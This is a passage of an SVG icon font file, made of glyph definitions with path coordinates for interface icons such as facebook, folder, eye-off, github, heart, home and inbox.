q61.9128 25.6469 113.159 25.6469q123.711 0 211.264 -87.5536t87.5536 -211.264q0 -51.2389 -25.6407 -113.146t-61.8703 -98.1398l-287.573 -288.427q-12.4976 -12.5013 -30.1744 -12.5013l-0.0335693 1.52588e-05zM486.997 298.667l241.365 -0.0853271l104.96 105.301
q27.076 26.0758 46.2385 71.1344q19.1625 45.0587 19.1625 82.6494q0 88.3907 -62.5566 150.947t-150.947 62.5566q-37.5687 0 -82.6088 -19.1434t-71.1121 -46.1924l-275.499 -275.499v-242.005l396.501 396.501q12.4008 11.9771 29.6411 11.9771
q17.6641 0 30.1653 -12.5013t12.5013 -30.1653q0 -17.2404 -11.977 -29.6411zM643.371 213.333h-241.707l-85.3333 -85.3333h241.92z" />
    <glyph glyph-name="facebook" unicode="&#xe86c;" 
d="M384 597.333q0 105.984 75.008 180.992t180.992 75.008h128q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-170.667q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-128v-85.3333h128q17.6635 -0.000488281 30.1645 -12.5018t12.501 -30.1649
q0 -5.26285 -1.27887 -10.368l-42.6667 -170.667q-3.34967 -13.3712 -15.476 -22.8347q-12.1262 -9.4635 -25.9107 -9.46387h-85.3333v-298.667q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-170.667v0q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653
v298.667h-85.3333q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v170.667q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h85.3333zM725.333 768h-85.3333q-70.6559 0 -120.661 -50.0054q-50.0053 -50.0053 -50.0053 -120.661v-128
q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-85.3333v-85.3333h85.3333q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-298.667h85.3333v298.667q0 17.664 12.5014 30.1653q12.5013 12.5013 30.1653 12.5013h94.72l21.3333 85.3333h-116.053
q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v128q0 35.3279 25.0027 60.3306t60.3306 25.0027h85.3333z" />
    <glyph glyph-name="file-minus" unicode="&#xe86d;" 
d="M554.667 768h-298.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-682.667q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h512q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v469.333h-213.333q-17.664 0 -30.1653 12.5013
q-12.5013 12.5013 -12.5013 30.1653v213.334zM640 707.669v-110.336h110.336zM597.333 853.333q17.6716 -0.00378418 30.1653 -12.5013l256 -256q12.4976 -12.4937 12.5013 -30.1653v-512q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-512
q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v682.667q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504zM384 213.333q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 17.664 12.5013 30.1653t30.1653 12.5013h256q17.664 0 30.1653 -12.5013
t12.5013 -30.1654q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013z" />
    <glyph glyph-name="eye-off" unicode="&#xe86e;" 
d="M284.838 603.145q16.7695 12.8038 16.7695 33.9026q0 17.6592 -12.4978 30.157q-12.4979 12.4979 -30.157 12.4979q-14.4223 0 -25.8854 -8.75226q-59.0355 -45.0934 -125.671 -123.337q-66.6354 -78.243 -101.754 -143.705q-5.06166 -9.44012 -5.06166 -20.1516
q0 -10.0732 4.50728 -19.0816q11.5227 -23.1277 33.6041 -57.3999q43.5466 -67.3366 95.9934 -123.243q172.377 -184.098 377.577 -184.098q64.3635 0.98095 146.155 29.282q81.7917 28.301 132.998 67.3085q17.724 12.7638 17.724 34.6054q0 17.6549 -12.4949 30.1499
t-30.1498 12.4949q-15.0488 0 -26.7647 -9.44495q-41.8466 -31.8924 -108.694 -55.0705q-66.8478 -23.1781 -119.455 -24.0356q-167.383 0 -314.719 157.103q-25.0046 26.8087 -55.7546 68.2044q-30.75 41.3957 -49.1942 73.0778q30.8344 53.4417 87.3615 117.766
q56.5271 64.3239 105.563 101.77zM856.619 275.164q-9.85004 -11.8503 -9.85004 -27.2596q0 -17.6549 12.4949 -30.1499t30.1498 -12.4949q19.6823 0 32.4518 14.9779q56.0593 66.6237 97.1022 143.414q5.01758 9.40735 5.01758 20.0692q0 10.0715 -4.50586 19.0788
q-11.5222 23.1276 -33.6041 57.3999q-42.467 65.9294 -95.9934 123.243q-172.446 184.098 -377.62 184.098l-0.999939 0.00115967q-49.7935 0 -98.2771 -11.3447q-13.6354 -3.19196 -23.2856 -15.3619q-9.65024 -12.17 -9.65024 -26.1741q0 -17.6607 12.4991 -30.1598
t30.1598 -12.4991q4.92651 0 9.72299 1.1228q38.9618 9.12689 78.978 9.12689l0.767731 -0.000854492q168.176 0 315.444 -157.103q25.0247 -26.8141 55.8001 -68.2226t49.234 -73.1023q-33.1714 -57.7209 -76.0356 -108.659zM571.454 322.414
q-10.4902 -11.3976 -28.8774 -19.464t-33.8776 -8.06638q-35.3099 0 -60.2997 24.9898t-24.9898 60.2997q0 15.4903 8.06644 33.8775q8.06641 18.3872 19.464 28.8775q13.5812 12.6536 13.5812 31.216q0 17.6633 -12.5008 30.1642q-12.5008 12.5009 -30.1642 12.5008
q-16.7953 0 -29.0838 -11.449q-22.2953 -20.9219 -38.0744 -57.3676t-15.7791 -67.0204q0 -70.6198 49.9797 -120.599q49.9797 -49.9797 120.599 -49.9797q30.5747 0 67.0204 15.7791t57.3676 38.0744q11.449 12.2884 11.449 29.0837q0 17.6633 -12.5009 30.1642
q-12.5009 12.5009 -30.1642 12.5009q-18.5624 0 -31.2154 -13.5818zM13.0202 822.68l938.185 -938.185q12.3944 -11.9709 29.6259 -11.9709q17.6549 0 30.1498 12.4949t12.4949 30.1499q0 17.2314 -11.9709 29.6259l-938.185 938.185q-12.5741 13.0188 -30.6737 13.0188
q-17.655 0 -30.1499 -12.4949t-12.4949 -30.1499q0 -18.0996 13.0188 -30.6738z" />
    <glyph glyph-name="fast-forward" unicode="&#xe86f;" 
d="M580.864 51.6267q-11.5563 -8.98963 -26.1973 -8.98963q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v0.0296326v597.333v0.0296021q0 17.664 12.5013 30.1653t30.1653 12.5013q14.6411 0 26.1973 -8.98962l384 -298.667q16.5074 -12.8111 16.5074 -33.7067
t-16.5074 -33.7067zM869.12 384l-271.787 211.413v-422.827l271.829 211.413zM111.531 51.6267q-11.5563 -8.98962 -26.1973 -8.98962q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653l1.14441e-05 0.0296249v597.333l-1.14441e-05 0.0296021
q0 17.6639 12.5013 30.1653q12.5013 12.5014 30.1653 12.5014q14.6411 0 26.1973 -8.98962l384 -298.667q16.5074 -12.8111 16.5074 -33.7067q0 -20.8955 -16.5074 -33.7067zM399.787 384l-271.787 211.413v-422.827l271.829 211.413z" />
    <glyph glyph-name="file-text" unicode="&#xe870;" 
d="M554.667 768h-298.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-682.667q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h512q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v469.333h-213.333q-17.664 0 -30.1653 12.5013
q-12.5013 12.5013 -12.5013 30.1653v213.334zM640 707.669v-110.336h110.336zM597.333 853.333q17.6716 -0.00378418 30.1653 -12.5013l256 -256q12.4976 -12.4937 12.5013 -30.1653v-512q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-512
q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v682.667q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504zM682.667 384q17.6613 -0.00268555 30.1607 -12.5041q12.4995 -12.5013 12.4995 -30.1626t-12.4994 -30.1626q-12.4995 -12.5013 -30.1608 -12.5041
h-341.333q-17.6613 0.00271606 -30.1607 12.504q-12.4994 12.5013 -12.4994 30.1626t12.4995 30.1626q12.4994 12.5014 30.1607 12.5041zM682.667 213.333q17.6613 -0.00270081 30.1607 -12.504q12.4995 -12.5014 12.4995 -30.1626t-12.4994 -30.1626
q-12.4995 -12.5013 -30.1608 -12.5041h-341.333q-17.6613 0.00270844 -30.1607 12.504q-12.4994 12.5013 -12.4994 30.1626t12.4994 30.1626t30.1607 12.504zM426.667 554.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1654
q-12.5013 -12.5013 -30.1653 -12.5013h-85.3333q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 17.664 12.5013 30.1653t30.1653 12.5013z" />
    <glyph glyph-name="film" unicode="&#xe871;" 
d="M42.6667 717.739q0.0352669 56.101 39.7645 95.8301q39.7292 39.7292 95.8302 39.7646h667.477q56.101 -0.0354004 95.8301 -39.7646q39.7292 -39.7292 39.7646 -95.8301v-667.477q-0.0354004 -56.1009 -39.7646 -95.8301q-39.7292 -39.7292 -95.8301 -39.7645h-667.477
q-56.1009 0.0352707 -95.8302 39.7645q-39.7292 39.7292 -39.7645 95.8302v667.477zM341.333 768v-341.333h341.333v341.333h-341.333zM341.333 0h341.333v341.333h-341.333v-341.333v-7.8125e-06zM896 426.667v128h-128v-128h128zM896 341.333h-128v-128h128v128z
M128 341.333v-128h128v128h-128zM128 426.667h128v128h-128v-128zM768 768v-128h128v77.7386q-0.0351562 20.7731 -14.7617 35.4996q-14.7266 14.7265 -35.4996 14.7617zM896 128h-128v-128h77.7386q20.7731 0.035171 35.4996 14.7617q14.7266 14.7266 14.7617 35.4996z
M256 768h-77.7387q-20.773 -0.0351562 -35.4996 -14.7617t-14.7617 -35.4996v-77.7386h128v128zM256 0v128h-128v-77.7387q0 -20.7434 14.7503 -35.5023q14.7504 -14.759 35.511 -14.759z" />
    <glyph glyph-name="file" unicode="&#xe872;" 
d="M554.667 853.333q17.6717 -0.00372314 30.1653 -12.5013l298.667 -298.667q12.4975 -12.4938 12.5013 -30.1653v-469.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-512q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v682.667
q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504zM512 512v256h-256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-682.667q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h512q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v426.667
h-256q-17.6641 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653zM597.333 707.669v-153.003h153.003z" />
    <glyph glyph-name="file-plus" unicode="&#xe873;" 
d="M554.667 768h-298.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-682.667q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h512q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v469.333h-213.333q-17.664 0 -30.1653 12.5013
q-12.5013 12.5013 -12.5013 30.1653v213.334zM640 707.669v-110.336h110.336zM597.333 853.333q17.6716 -0.00378418 30.1653 -12.5013l256 -256q12.4976 -12.4937 12.5013 -30.1653v-512q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-512
q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v682.667q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504zM469.333 213.333h-85.3333q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 17.664 12.5013 30.1654q12.5013 12.5013 30.1653 12.5013h85.3333
v85.3333q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-85.3333h85.3333q17.664 0 30.1653 -12.5013t12.5013 -30.1654q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-85.3333v-85.3333q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013
t-30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653z" />
    <glyph glyph-name="folder" unicode="&#xe874;" 
d="M170.667 725.333q-17.664 0 -30.1653 -12.5014q-12.5013 -12.5013 -12.5013 -30.1653v-597.333q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h682.667q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v469.333q0 17.664 -12.5013 30.1653
t-30.1653 12.5013h-384h-0.00637817q-9.4494 0 -19.8487 5.56311q-10.3992 5.56311 -15.6436 13.4236l-72.6613 109.013zM853.333 682.667q52.992 0 90.496 -37.504q37.504 -37.504 37.504 -90.496v-469.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504
h-682.667q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v597.333q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h213.333h0.00637817q9.44937 0 19.8486 -5.56311t15.6437 -13.4236l72.6613 -109.013z" />
    <glyph glyph-name="filter" unicode="&#xe875;" 
d="M384 348.757l-331.264 391.68q-10.0976 11.9318 -10.0976 27.5627q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h0.0282974h853.333h0.0282593q17.664 0 30.1653 -12.5013t12.5013 -30.1653q0 -15.6309 -10.0976 -27.5626l-331.264 -391.68v-348.757
q-0.00939941 -17.6546 -12.5107 -30.1492q-12.5013 -12.4946 -30.1559 -12.4946q-10.0668 0 -19.072 4.49989l-170.667 85.3333q-9.76233 4.87826 -16.6756 16.0545q-6.91327 11.1762 -6.91907 22.0895zM177.28 725.333l281.984 -333.397q10.0693 -11.923 10.0693 -27.5292
v-0.0334167v-252.672l85.3333 -42.6667v295.339v0.0334167q0 15.6062 10.0693 27.5292l281.984 333.397z" />
    <glyph glyph-name="flag" unicode="&#xe876;" 
d="M128 -42.6667v810.667q0.00376892 17.6716 12.5013 30.1653q16.8922 16.8922 51.6267 30.7627q60.9459 24.4053 149.205 24.4053q43.992 0 82.2812 -9.67096t104.215 -36.0677q57.8734 -23.1229 89.4225 -31.3588q31.5491 -8.23584 65.4149 -8.23584
q71.6771 0 117.504 18.2614q18.4719 7.4212 22.9973 11.9467q20.16 20.126 46.496 9.20001t26.336 -39.408v-512q-0.00372314 -17.6716 -12.5013 -30.1653q-16.8921 -16.8922 -51.6266 -30.7627q-60.8785 -24.4053 -149.205 -24.4053q-43.9921 0 -82.2811 9.67091
q-38.2889 9.6709 -104.215 36.0677q-57.8736 23.1231 -89.4226 31.3589q-31.549 8.23578 -65.4148 8.23578q-71.6771 0 -117.504 -18.2613q-5.32376 -2.13168 -10.496 -4.608v-275.797q-0.00270081 -17.6613 -12.504 -30.1607q-12.5013 -12.4994 -30.1626 -12.4994
t-30.1626 12.4994q-12.5013 12.4994 -12.5041 30.1607zM341.333 341.333q43.9922 0 82.2812 -9.67093t104.215 -36.0677q57.8736 -23.1232 89.4225 -31.3589t65.4148 -8.23575q71.677 0 117.504 18.2613q6.08002 2.496 10.496 4.608v420.693q-54.7618 -16.896 -128 -16.896
q-43.992 0 -82.2812 9.6709t-104.215 36.0677q-57.8734 23.1229 -89.4225 31.3588q-31.5491 8.2359 -65.4149 8.2359q-71.6772 0 -117.504 -18.2614q-5.32307 -2.13135 -10.496 -4.60797v-420.693q54.7619 16.896 128 16.896z" />
    <glyph glyph-name="globe" unicode="&#xe877;" 
d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694
q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM723.2 341.333
q-6.02661 -74.2061 -39.4803 -170.591t-74.6957 -158.369q105.658 27.6537 189.054 124.039q83.3964 96.3853 95.575 204.921h-170.453zM300.928 341.333h-170.581q12.1786 -108.536 95.575 -204.921q83.3964 -96.385 189.054 -124.039q-41.1777 62.0034 -74.5938 158.389
q-33.4161 96.3853 -39.4542 170.571zM609.024 755.627q41.1777 -62.0034 74.5938 -158.389q33.4161 -96.3853 39.4542 -170.571h170.581q-12.1786 108.536 -95.575 204.921t-189.054 124.039zM414.976 755.627q-105.658 -27.6537 -189.054 -124.039
q-83.3964 -96.3853 -95.575 -204.921h170.453q6.02667 74.2061 39.4802 170.591q33.4536 96.3852 74.6958 158.369zM386.475 341.333q6.78772 -73.3789 43.5666 -166.514q36.7789 -93.1349 81.9587 -151.353q45.2267 58.2022 82.0431 151.337
q36.8163 93.1349 43.6102 166.53h-251.179zM637.525 426.667q-6.78778 73.379 -43.5667 166.514q-36.7789 93.1349 -81.9586 151.353q-45.2267 -58.2021 -82.0431 -151.337q-36.8164 -93.1349 -43.6103 -166.53z" />
    <glyph glyph-name="grid" unicode="&#xe878;" 
d="M170.667 512h213.333v213.333h-213.333v-213.333zM128 810.667h298.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-298.667q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-298.667q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v298.667q0 17.664 12.5013 30.1653
t30.1653 12.5013zM640 512h213.333v213.333h-213.333v-213.333zM597.333 810.667h298.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-298.667q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-298.667q-17.6639 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653
v298.667q0 17.664 12.5013 30.1653t30.1653 12.5013zM640 42.6667h213.333v213.333h-213.333v-213.333zM597.333 341.333h298.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-298.667q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-298.667
q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v298.667q0 17.664 12.5013 30.1653t30.1653 12.5013zM170.667 42.6667h213.333v213.333h-213.333v-213.333zM128 341.333h298.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-298.667q0 -17.664 -12.5013 -30.1653
q-12.5013 -12.5013 -30.1653 -12.5013h-298.667q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v298.667q0 17.664 12.5013 30.1653t30.1653 12.5013z" />
    <glyph glyph-name="heart" unicode="&#xe879;" 
d="M527.061 729.472q33.6374 33.6785 91.131 57.5137q57.4936 23.8351 105.093 23.8351q114.816 0 196.075 -81.2587t81.2587 -196.075l-6.10352e-05 -0.154236q-0.00280762 -47.5718 -23.8179 -105.04q-23.8151 -57.4686 -57.4622 -91.0983l-377.173 -377.173
q-12.496 -12.4922 -30.1653 -12.4922t-30.1653 12.4922l-377.173 377.173q-33.6347 33.6347 -57.439 91.1033q-23.8043 57.4687 -23.8043 105.035q0 114.836 81.2729 196.109q81.2729 81.273 196.109 81.2729q47.5667 0 105.035 -23.8043t91.1033 -57.439l15.0613 -15.0613z
M813.781 352.299l45.2267 45.2267q23.335 23.2906 39.8497 63.1074t16.5148 72.786q0 79.488 -56.256 135.744t-135.744 56.256l-0.172485 -6.10352e-05q-32.944 -0.00708008 -72.7358 -16.5089q-39.7918 -16.5017 -63.0722 -39.8112l-45.2267 -45.2267
q-12.496 -12.4922 -30.1653 -12.4922q-17.6693 0 -30.1653 12.4922l-45.2267 45.2267q-23.2878 23.2915 -63.0796 39.7756q-39.7918 16.4841 -72.7284 16.4841q-79.5072 0 -135.777 -56.2696q-56.2696 -56.2696 -56.2696 -135.777q0 -32.9293 16.4779 -72.7148
q16.4779 -39.7855 39.7606 -63.0719l347.008 -347.008z" />
    <glyph glyph-name="home" unicode="&#xe87a;" 
d="M101.803 545.707l384 298.667q11.5562 8.98962 26.1973 8.98962q14.6411 0 26.1973 -8.98962l384 -298.667q16.4694 -12.8115 16.4694 -33.6771v-0.0296021v-469.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-597.333q-52.992 0 -90.496 37.504
q-37.504 37.504 -37.504 90.496v469.333l-7.62939e-06 0.0296021q0 20.8656 16.4689 33.6771zM682.667 0h128q17.664 0 30.1653 12.5013t12.5013 30.1653v448.427l-341.333 265.515l-341.333 -265.472v-448.469q0 -17.664 12.5013 -30.1653
q12.5013 -12.5013 30.1653 -12.5013h128v384q0 17.664 12.5013 30.1653t30.1653 12.5013h256q17.6641 0 30.1653 -12.5013q12.5013 -12.5013 12.5013 -30.1653zM426.667 0h170.667v341.333h-170.667v-341.333z" />
    <glyph glyph-name="github" unicode="&#xe87b;" 
d="M371.755 83.5413q-69.9978 -19.2684 -104.619 -9.71733q-34.6208 9.55106 -70.1867 53.5787q-1.51442 1.8716 -9.49222 11.9618t-9.70778 12.2302q-21.5316 26.5801 -39.9821 40.5713q-18.4505 13.9912 -42.0659 19.8873q-4.96397 1.20593 -10.0724 1.20593
q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653q0 -13.6835 9.37689 -25.7881t22.6261 -15.5245q13.8316 -3.48799 36.3947 -31.36q1.58878 -1.92943 9.59492 -12.0332t9.60507 -12.0735q34.3674 -42.5723 69.9812 -63.6808t84.8197 -24.93
q49.2059 -3.8215 110.884 16.5894q12.5956 3.77343 21.5099 15.7497q8.91431 11.9763 8.91431 25.125q0 17.6652 -12.5022 30.1673q-12.5022 12.5022 -30.1673 12.5022q-6.25424 0 -12.2446 -1.79479zM960 489.813q-0.00878906 39.376 -17.2482 89.1437
q-17.2393 49.7678 -41.5892 80.7123q8.49005 32.3362 8.49005 65.7687q0 53.1701 -20.9487 102.039q-7.88763 18.4133 -27.0933 24.1067q-4.41217 1.2594 -8.96002 1.87732q-67.6144 9.79297 -177.621 -59.9893q-69.8774 16.5862 -141.696 16.5862t-141.696 -16.5862
q-110.094 69.8373 -177.664 59.9893q-4.54758 -0.61792 -8.96001 -1.87732q-19.1782 -5.71008 -27.0507 -24.1067q-20.9487 -48.8693 -20.9487 -102.039q0 -33.4324 8.49002 -65.7687q-24.3602 -30.9562 -41.6006 -80.7435t-17.2404 -89.179
q0 -0.714172 0.00370026 -1.42688q0 -143.729 62.04 -222.495q62.0401 -78.7656 185.427 -107.105q-13.174 -33.16 -13.174 -68.8411q0 -6.54781 0.45929 -13.0789l-0.0853271 -162.133q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653
v165.12q-3.24313 48.0632 28.1173 80.4267q11.974 12.4001 11.974 29.6379q0 15.6042 -10.9591 28.01q-10.9592 12.4058 -26.4442 14.3308q-125.204 15.5803 -181.279 72.8947q-56.0756 57.3144 -56.0756 183.447q-0.00363159 0.589203 -0.00363159 1.17383
q0 31.3691 15.3027 69.6543t36.9249 61.0119q11.7859 12.3619 11.7859 29.4419q0 7.70953 -2.69795 14.9315q-10.964 29.3732 -10.964 60.7261q0 20.9677 4.99066 41.3326q4.48 -0.960022 9.85599 -2.56q44.165 -12.6674 103.04 -52.1813q10.7737 -7.2146 23.7402 -7.2146
q5.70193 0 11.2038 1.49725q67.8537 18.3873 138.155 18.3873q70.3013 0 138.155 -18.3873q5.50189 -1.49725 11.2038 -1.49725q12.9664 0 23.7402 7.2146q58.8077 39.4686 103.04 52.224q5.54694 1.58478 9.81335 2.56q5.01392 -20.4099 5.01392 -41.4273
q0 -31.324 -10.9446 -60.674q-2.69794 -7.22205 -2.69794 -14.9314q0 -17.08 11.7859 -29.442q21.6122 -22.7051 36.9138 -60.9593q15.3016 -38.2542 15.3102 -69.6007q0 -127.341 -56.2067 -184.866q-56.2067 -57.5253 -180.593 -71.39q-15.7214 -1.73953 -26.8478 -14.165
q-11.1265 -12.4255 -11.1265 -28.2428q0 -17.2871 12.033 -29.6988q11.8055 -12.1781 20.1607 -32.8005q8.3551 -20.6224 8.3551 -37.5834q0 -3.98179 -0.313171 -7.95213l-0.127991 -168.448q0.00274658 -17.6613 12.504 -30.1607t30.1627 -12.4994t30.1627 12.4994
t12.504 30.1607v165.12q0.502625 6.65949 0.502625 13.3382q0 34.4102 -12.876 66.3205q122.721 27.2164 184.881 106.442q62.1594 79.2256 62.1576 223.925z" />
    <glyph glyph-name="image" unicode="&#xe87c;" 
d="M213.333 -42.6667h-0.213333q-52.9037 3.8147e-06 -90.3452 37.4415t-37.4415 90.3452v597.76q0 52.9037 37.4415 90.3452t90.3452 37.4415h597.76q52.9037 0 90.3452 -37.4415t37.4415 -90.3452v-597.76v0q0 -52.9037 -37.4415 -90.3452t-90.3452 -37.4415h-597.547z
M853.333 358.997v323.84v0.0426636q0 17.5756 -12.4388 30.0145t-30.0145 12.4388h-597.76q-17.5757 0 -30.0145 -12.4388t-12.4388 -30.0145v-597.76q0 -13.5096 7.68639 -24.3694q7.6864 -10.8597 19.9616 -15.4386l454.187 454.187q12.496 12.4922 30.1653 12.4922
t30.1653 -12.4922zM853.333 238.336l-170.667 170.667l-366.336 -366.336h494.507q17.6041 0 30.05 12.4287q12.4459 12.4287 12.4459 30.0246v153.173zM362.667 426.667h-0.0103149q-44.16 0 -75.4134 31.2533q-31.2533 31.2533 -31.2533 75.4133q0 44.16 31.2533 75.4133
q31.2534 31.2534 75.4134 31.2534h0.0103149q44.1558 -0.00421143 75.406 -31.2576q31.2503 -31.2534 31.2503 -75.4091t-31.2503 -75.4091t-75.406 -31.2575zM362.667 512q8.832 0 15.0827 6.25067t6.25067 15.0826t-6.25067 15.0827q-6.25067 6.25067 -15.0827 6.25067
q-8.83197 0 -15.0827 -6.25067q-6.25067 -6.25067 -6.25067 -15.0826q0 -8.83203 6.25067 -15.0827t15.0827 -6.25067z" />
    <glyph glyph-name="inbox" unicode="&#xe87d;" 
d="M311.467 768h401.067h0.0637207q34.4713 0 68.7563 -22.3024q34.285 -22.3023 48.2573 -53.8149l148.053 -333.227q3.66931 -8.26639 3.66931 -17.3105v-0.012207v-213.333q0 -52.992 -37.504 -90.496t-90.496 -37.504h-682.667q-52.992 0 -90.496 37.504t-37.504 90.496
v213.333v0.012207q0 9.04413 3.66933 17.3105l148.053 333.227q13.9724 31.5125 48.2574 53.8149q34.285 22.3024 68.7563 22.3024h0.0643921zM873.003 384l-121.387 273.28q-4.65552 10.5101 -16.0856 17.9484q-11.4302 7.43835 -22.9252 7.43835l-0.0718384 -6.10352e-05
h-401.067l-0.0718079 6.10352e-05q-11.495 0 -22.9252 -7.43829q-11.4301 -7.43829 -16.0857 -17.9484l-121.344 -273.28h190.293h0.00637817q9.44943 0 19.8486 -5.56305q10.3992 -5.56308 15.6436 -13.4236l72.6613 -109.013h125.013l72.6613 109.013
q5.24445 7.86053 15.6437 13.4236q10.3992 5.56305 19.8486 5.56305h0.00640869zM896 128v170.667h-190.507l-72.6613 -109.013q-5.24445 -7.86049 -15.6437 -13.4236q-10.3992 -5.56308 -19.8486 -5.56308h-0.00646973h-170.667h-0.00637817q-9.4494 0 -19.8486 5.5631
q-10.3993 5.56308 -15.6436 13.4236l-72.6613 109.013h-190.507v-170.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013h682.667q17.664 0 30.1653 12.5013t12.502 30.1653z" />
    <glyph glyph-name="layers" unicode="&#xe87e;" 
d="M492.928 848.811q9.00519 4.49988 19.072 4.49988q10.067 0 19.072 -4.49988l426.667 -213.333q9.74927 -4.88623 16.6492 -16.0624q6.8999 -11.1763 6.8999 -22.0815q0 -10.9053 -6.8999 -22.0815q-6.89984 -11.1762 -16.6492 -16.0625l-426.667 -213.333
q-9.00507 -4.49988 -19.072 -4.49988q-10.0669 0 -19.072 4.49988l-426.667 213.333q-9.74931 4.88635 -16.6492 16.0625q-6.89991 11.1762 -6.89991 22.0815t6.89991 22.0815t16.6492 16.0626zM180.736 597.333l331.264 -165.632l331.264 165.632l-331.264 165.632z
M104.405 208.811q-8.51405 3.933 -17.8927 3.933q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -10.5432 6.56769 -21.5466t15.8476 -16.0077l426.667 -213.333q9.00516 -4.49989 19.072 -4.49989q10.067 0 19.072 4.49989l426.667 213.333
q9.27997 5.00426 15.8477 16.0077t6.56769 21.5467q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-9.37854 0 -17.8926 -3.933l-407.595 -203.776zM104.405 422.144q-8.51401 3.93298 -17.8927 3.93298q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653
q0 -10.5433 6.5677 -21.5467t15.8476 -16.0077l426.667 -213.333q9.00519 -4.49988 19.072 -4.49988q10.0669 0 19.072 4.49988l426.667 213.333q9.27991 5.00421 15.8476 16.0076q6.56775 11.0034 6.56775 21.5467q0 17.664 -12.5013 30.1653t-30.1653 12.5013
q-9.37854 0 -17.8926 -3.93301l-407.595 -203.776z" />
    <glyph glyph-name="info" unicode="&#xe87f;" 
d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694
q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06
